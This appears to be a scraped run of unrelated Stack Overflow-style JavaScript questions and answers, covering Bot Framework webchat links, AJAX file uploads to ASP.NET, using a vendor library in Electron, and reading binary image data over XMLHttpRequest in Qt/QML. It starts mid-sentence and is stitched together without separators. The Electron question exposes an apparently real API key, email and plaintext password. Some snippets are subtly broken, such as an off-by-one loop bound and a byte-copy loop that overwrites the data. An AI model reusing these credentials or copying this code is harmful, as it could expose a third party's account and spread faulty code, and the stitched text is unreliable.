but to remote that file I need PHP file to get the data with same host
my question how if req.js in host1 but post.php in host2?

We've just started using the bot-framework. For client side we are using the cdn and not react. We have certain links that bot responds with. And we would like to append a url parameter to each link and open the link in the same window. So far this is what my code looks like. Is there a better way to achieve this using the botframework. I know there is cardActionMiddleware which has openUrl cardAction, but we don't have any cards and I am not sure on how to implement that.
var webchatMount = document.getElementById('webchatMount');
function loadChatbot() {
var xhr = new XMLHttpRequest();
xhr.open('GET', "https://webchat.botframework.com/api/tokens", true);
xhr.setRequestHeader('Authorization', 'BotConnector ' + '<secret>');
xhr.send();
xhr.onreadystatechange = function (e) {
if (xhr.readyState == 4 && xhr.status == 200) {
var response = JSON.parse(xhr.responseText);
var store = window.WebChat.createStore({}, function ({ dispatch }) {
return function (next) {
return function (action) {
if (action.type === 'DIRECT_LINE/INCOMING_ACTIVITY') {
var event = new Event('webchatincomingactivity');
event.data = action.payload.activity;
window.dispatchEvent(event);
}
return next(action);
}
}
});
window.WebChat.renderWebChat(
{
directLine: window.WebChat.createDirectLine({ token: response }),
store: store,
},
webchatMount
);
document.querySelector('.webchat__send-box-text-box__input').focus();
window.addEventListener('webchatincomingactivity', ({ data }) => {
setTimeout(function () {
var links = document.querySelectorAll('#webchatMount a');
if (links.length >= 1) {
for (var i = 0; i <= links.length; i++) {
if (links[i] == undefined)
break;
var compare = new RegExp('maindomain');
var href = links[i].getAttribute('href');
var st = getParameterByName('st', href);
if (links[i].hasAttribute('target')) {
links[i].removeAttribute('target');
}
if (compare.test(href)) {
// internal link
// check if it has st=INTRA
if (st) {
console.log(' it has a value');
} else {
links[i].setAttribute('href', insertParam('st', 'INTRA', href));
}
} else {
// external link, do nothing
}
}
}
}, 1000);
});
}
}
}
and here are getParameterByName and insertParam functions.
function getParameterByName(name, url) {
name = name.replace(/[\[\]]/g, '\\$&');
var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'),
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, ' '));
}
function insertParam(key, value, url) {
key = encodeURIComponent(key);
value = encodeURIComponent(value);
// kvp looks like ['key1=value1', 'key2=value2', ...]
var kvp = url.split('&');
var i=0;
for(; i<kvp.length; i++){
if (kvp[i].startsWith(key + '=')) {
var pair = kvp[i].split('=');
pair[1] = value;
kvp[i] = pair.join('=');
break;
}
}
if(i >= kvp.length){
kvp[kvp.length] = [key,value].join('=');
}
return kvp.join('&');
}
I am new to botframework webchat so I don't know it very well. I know that the secret should not be used like that, but for know we are testing and would like to get it to work. Any help would be appericiated
Thanks.
I have a file upload page that uses ajax to show a progress bar and has a drag and drop feature (global.js and upload.js). But the progress bar and the drag and drop does not work. I get a Uncaught Reference error app not definded in my global.js. However, I have app defined in upload.js. Why does it complain about app not being defined? Thank you.

The variable app is define inside the upload.js file. I thinks you should just load Upload.js before global.js
<script src="/javascripts/upload.js" type="text/javascript"></script>
<script src="/javascripts/global.js" type="text/javascript"></script>
I am currently using the following JS Code to do my Ajax calls:
var ajax = {};
ajax.x = function () {
if (typeof XMLHttpRequest !== 'undefined') {
return new XMLHttpRequest();
}
var versions = [
"MSXML2.XmlHttp.6.0",
"MSXML2.XmlHttp.5.0",
"MSXML2.XmlHttp.4.0",
"MSXML2.XmlHttp.3.0",
"MSXML2.XmlHttp.2.0",
"Microsoft.XmlHttp"
];
var xhr;
for (var i = 0; i < versions.length; i++) {
try {
xhr = new ActiveXObject(versions[i]);
break;
} catch (e) {
}
}
return xhr;
};
ajax.send = function (url, callback, method, data, async) {
if (async === undefined) {
async = true;
}
var x = ajax.x();
x.open(method, url, async);
x.onreadystatechange = function () {
if (x.readyState == 4) {
callback(x.responseText)
}
};
if (method == 'POST') {
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
}
x.send(data)
};
ajax.get = function (url, data, callback, async) {
var query = [];
for (var key in data) {
query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
}
ajax.send(url + (query.length ? '?' + query.join('&') : ''), callback, 'GET', null, async)
};
ajax.post = function (url, data, callback, async) {
var query = [];
for (var key in data) {
query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
}
ajax.send(url, callback, 'POST', query.join('&'), async)
};
And I currently have this little snippet that calls my controller's action and send the input file to the controller:
function UpdateChapterText() {
try {
document.getElementById("chapterTextInput").value = "";
} catch (e) { }
ajax.post('/Create/ImportFromFile', document.getElementById("chapterFile"), function (data, e) {
document.getElementById("chapterTextInput").value = data;
});
}
The element with "chapterFile" as the ID is the input element with type="file". Here is my controller:
[HttpPost]
public ActionResult ImportFromFile(HttpPostedFileBase chapterFile)
{
string path = Path.GetFileName(chapterFile.FileName);
}
However, after debugging, it looks like the HttpPostedFileBase chapterFile always remains null. Am I sending over the element wrong entirely?
Thanks.
I have a basic electron app where I am trying to use vendor supplied js library. The example they supplied provides a static html page which includes their custom library and an example js file. This is the html
<HTML>
<HEAD>
<TITLE> MWD Library </TITLE>
</HEAD>
<BODY>
<h2>MWD Library Example</h2>
<input id="authAndConnect" type="button" value="authenticate and connect to stream" onclick="authenticateAndConnectToStream()" /></br></br>
<input id="clickMe" type="button" value="place position" onclick="placePosition()" /></br></br>
<input id="unsubscribeMe" type="button" value="unsubscribe" onclick="unsubscribe()" />

</BODY>
<SCRIPT SRC="jquery.ajax.js"></SCRIPT>
<SCRIPT SRC="mwdlib.js"></SCRIPT>
<SCRIPT SRC="app.js"></SCRIPT>
</HTML>
In the example above the button click calls authenticateAndConnectToStream in their example apps.js
//DEMO
//provide API key
MWDLibrary.config("dwR4jXn9ng9U2TbaPG2TzP1FTMqWMOuSrCWSK5vRIW7N9hefYEapvkXuYfVhzmdyFypxdayfkUT07HltIs4pwT0FIqEJ6PyzUz0mIqGj1GtmAlyeuVmSC5IcjO4gz14q");
//authenticate on MarketsWorld
var getAuthTokenParams = {email:"rtmarchionne#gmail.com", password:"Pitts4318AEM"};
var authenticateAndConnectToStream = function(){
MWDLibrary.getAuthDetails(getAuthTokenParams, function(authDetails) {
//optional: get older data
var marketsToSubscribeTo = ['GOLD', 'AUDNZD'];
for (var i = 0; i < marketsToSubscribeTo.length; i++){
MWDLibrary.getHistoricalData(marketsToSubscribeTo[i], function(response) {
console.log(response);
}, function(errorMessage) {
console.log(errorMessage);
});
}
//now you can connect to stream
MWDLibrary.connect(marketsToSubscribeTo, function() {
addMarketsListeners();
}, function(errorMessage) {
console.log(errorMessage);
});
}, function(errorMessage) {
console.log(errorMessage);
});
};
I want to call the same methods that start with MWDLibrary. from my main js like MWDLibrary.config("dwR4jXn9")
My main.js:
const electron = require('electron')
var path = require('path');
var countdown = require(path.resolve( __dirname, "./tradescaler.js" ) );
var mwd = require(path.resolve( __dirname, "./mwdlib.js" ) );
const app = electron.app
const BrowserWindow = electron.BrowserWindow
const ipc = electron.ipcMain
let mainWindow
app.on('ready', _ => {
mainWindow = new BrowserWindow({
height: 360,
width: 700,
title: "TradeScaler Beta - Creative Solutions",
//frame: false,
alwaysOnTop: true,
autoHideMenuBar: true,
backgroundColor: "#FF7E47",
})
mainWindow.loadURL('file://' + __dirname + '/tradescaler.html')
mainWindow
//mainWindow.setAlwaysOnTop(true, 'screen');
mainWindow.on('closed', _ => {
mainWindow = null
})
})
ipc.on('countdown-start', _ => {
console.log('caught it!');
MWDLibrary.config();
countdown(count => {
mainWindow.webContents.send('countdown', count)
})
})
In my main.js above I get an error that says MWDLibrary is not defined.
Is it the structure of the library that is the problem? do i have to pass a window or modify the library?

You're missing the .js file extension at the end of mwdlib
And you may need to require it using the full system path, instead of a relative one.
var mwd = require(path.resolve( __dirname, "./mwdlib.js" ) );
I am trying to retrieve the data of an image in Javascript using XMLHttpRequest.
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.celticfc.net/images/doc/celticcrest.png");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var resp = xhr.responseText;
console.log(resp.charCodeAt(0) & 0xff);
}
};
xhr.send();
The first byte of this data should be 0x89, however any high-value bytes return as 0xfffd (0xfffd & 0xff being 0xfd).
Questions such as this one offer solutions using the overrideMimeType() function, however this is not supported on the platform I am using (Qt/QML).
How can I download the data correctly?

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.celticfc.net/images/doc/celticcrest.png', true);
xhr.responseType = 'arraybuffer';
xhr.onload = function(e) {
if (this.status == 200) {
var uInt8Array = new Uint8Array(this.response); // Note:not xhr.responseText
for (var i = 0, len = uInt8Array.length; i < len; ++i) {
uInt8Array[i] = this.response[i];
}
var byte3 = uInt8Array[4]; // byte at offset 4
}
}
xhr.send();
I'm not familiarized with Qt but i found this in their documentation
string Qt::btoa ( data )
Binary to ASCII - this function returns a base64 encoding of data.
So, if your image is a png you can try:
resp = "data:image/png;base64," + btoa(resp);
document.write("<img src=\""+resp+"\">");
Qt version 5.13.1(support native Promise in qml env), prue qml.
function fetch, like node-fetch
function hexdump, dump the data as hex, just use the linux command hexdump to check.
